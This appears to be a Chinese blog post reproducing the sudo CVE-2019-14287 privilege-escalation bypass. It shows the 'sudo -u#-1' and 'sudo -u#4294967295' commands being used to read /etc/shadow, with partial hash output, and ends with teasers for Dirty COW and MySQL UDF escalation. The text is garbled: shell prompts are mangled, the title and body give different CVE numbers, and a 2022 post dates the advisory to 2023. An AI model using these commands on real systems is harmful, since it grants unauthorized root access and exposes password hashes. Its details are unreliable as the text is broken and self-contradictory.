sudo提權復現(CVE 2019 14187)

2022-06-22 01:24:10 字數 2958 閱讀 7464

2023年10月14日,cve官方發布了cve-2019-14287的漏洞預警。其中包含sudo root許可權繞過漏洞(cve-2019-14287)的補丁修復。通過特定payload,使用者可提公升至root許可權。

利用前提

sudo -v < 1.8.28

知道當前使用者的密碼

當前使用者存在於sudo許可權列表

復現要知道的命令含義:

#useradd 使用者名稱 passwd

使用者名稱#

cat /etc/group

#sudo -h

#su 使用者名稱

view 基礎命令

如果將sudo配置為允許使用者通過runas規範中定義的all關鍵字來以任意使用者身份執行命令的話,那麼攻擊者將有可能通過制定使用者id -1或4294967295來以root許可權執行惡意命令。實際上,只要使用者的許可權足夠高,即擁有最高sudo許可權的使用者,並且在runas規範中定義了all關鍵字的話,他們就可以執行runas規範中明確禁止使用的那些root命令,而且以這種方式執行的命令其日誌項所顯示的目標使用者為4294967295,而不是root。與此同時,在執行相應命令的過程中,pam會話模組將不會執行。

sudo 的全稱是「superuserdo」,它是linux系統管理指令,允許使用者在不需要切換環境的前提下以其它使用者的許可權執行應用程式或命令。通常以 root 使用者身份執行命令,是為了減少 root 使用者的登入和管理時間,同時提高安全性。

修改配置檔案

正常情況下我們在普通使用者下cat /etc/shadow 無路如何sudo也是不管用的,因為沒有許可權!

root@bogon:/# su

tomtom@bogon:/$ cat /etc/shadow

cat: /etc/shadow: permission denied

tom@bogon:/$ sudo -u#1002

whoami

tomtom@bogon:/$ sudo -u#1002

cat /etc/shadow

cat: /etc/shadow: permission denied

當我們修改配置檔案sudoers:

這樣就可以執行:

tom@bogon:/$ sudo -u#-1

cat /etc/shadow

tom@bogon:/$ sudo -u#4294967295

cat /etc/shadow

root:$6$nuqirz/f$0yxjbfs2yyzmqh

.....

sudo開發者說道「即使runas規約明確禁止root使用者訪問,但如果runas規約檔案中首先列出了all關鍵字,具有sudo許可權的使用者就可以使用它來以root身份執行任意命令」

翻譯來就是:

sudo命令本身就已經以使用者id為0執行,因此當sudo試圖將使用者id修改為-1時,不會發生任何變化。這就導致sudo日誌條目將該命令報告為以使用者id為4294967295而非root(或者使用者id為0)執行命令

就是用-1 或者 4294967295 這個uid 。  後面這個數字有意思,它是2的32次方減一。而-1看起來又是32位二進位制數值溢位後被截斷的值。

由於/etc/sudoers 中的test all = (all, !root) /usr/bin/id已經明確不能以root執行,因為root的uid是0,所以下面這樣做是會失敗的:

sudo -u#1 id

或者sudo -u root id

但是,問題就來了,-1 或者 4294967295這個uid確是可以的。

這個命令可以以root許可權執行。

sudo -u#-1 id

返回的是:

uid=0(root) gid=1001(test) groups=1001(test)

view 原理

題外話:

su -username 屬於登陸式shell

suusername 屬於非登陸式shell

區別在於載入的環境變數不一樣。

非登入shell

[[email protected] ~]# su

root

/root/.bashrc!!!

/etc/bashrc!!!

/etc/profile.d/1.sh!!!登入式shell

[[email protected] ~]# su -root

/etc/profile!!!!

/etc/profile.d/1.sh!!!

/root/.bash_profile!!!!

/root/.bashrc!!!

/etc/bashrc!!!

髒牛提權復現CVE 2016 5195

bindecy研究人員指出,2016年在linux系統中發現的 髒奶牛 漏洞 cve 2016 5195 並未得到完全修復。不完整的 髒奶牛 修復補丁 髒奶牛 漏洞源自linux核心中的記憶體子系統在處理私有唯讀記憶體對映的寫時拷貝 簡稱cow,即 奶牛 的由來 時,會因爭奪而引發破壞性結果。漏洞發...

髒牛提權漏洞復現(CVE 2016 5159)

linux kernel 2.6.22 2007年發行,到2016年10月18日前所有發行版本 普通許可權使用者執行編譯後的exp直接提權成root使用者 get user page核心函式在處理copy on write 以下使用cow表示 的過程中,產出競態條件造成cow過程被破壞,導致出現寫資...

漏洞復現 Mysql UDF提權

udf user defined function 即使用者自定義函式。是通過新增新函式,對mysql的功能進行擴充,其實就像使用本地mysql函式如 user 或 concat 等。那麼我們該如何使用udf檔案呢?在mysql預設安裝的裡面是不存在這個檔案的。那麼如果假設該檔案存在被攻擊者上傳到路...